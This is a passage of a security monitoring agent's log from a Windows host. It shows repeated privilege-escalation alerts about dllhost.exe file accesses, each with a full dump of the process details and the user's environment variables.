PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388829 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.95113 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b8888e290, file_path➜ C:\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388829 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.95113 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b8888e290, file_path➜ C:\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402673 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3994528 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b884347e0, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b861520f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402673 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3994528 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b884347e0, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b861520f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402681 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3996289 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ , file_object➜ ffffc38b88434330, file_path➜ C:\Windows\System32\wbem\, irp➜ ffffc38b861520f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402681 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3996289 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ , file_object➜ ffffc38b88434330, file_path➜ C:\Windows\System32\wbem\, irp➜ ffffc38b861520f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 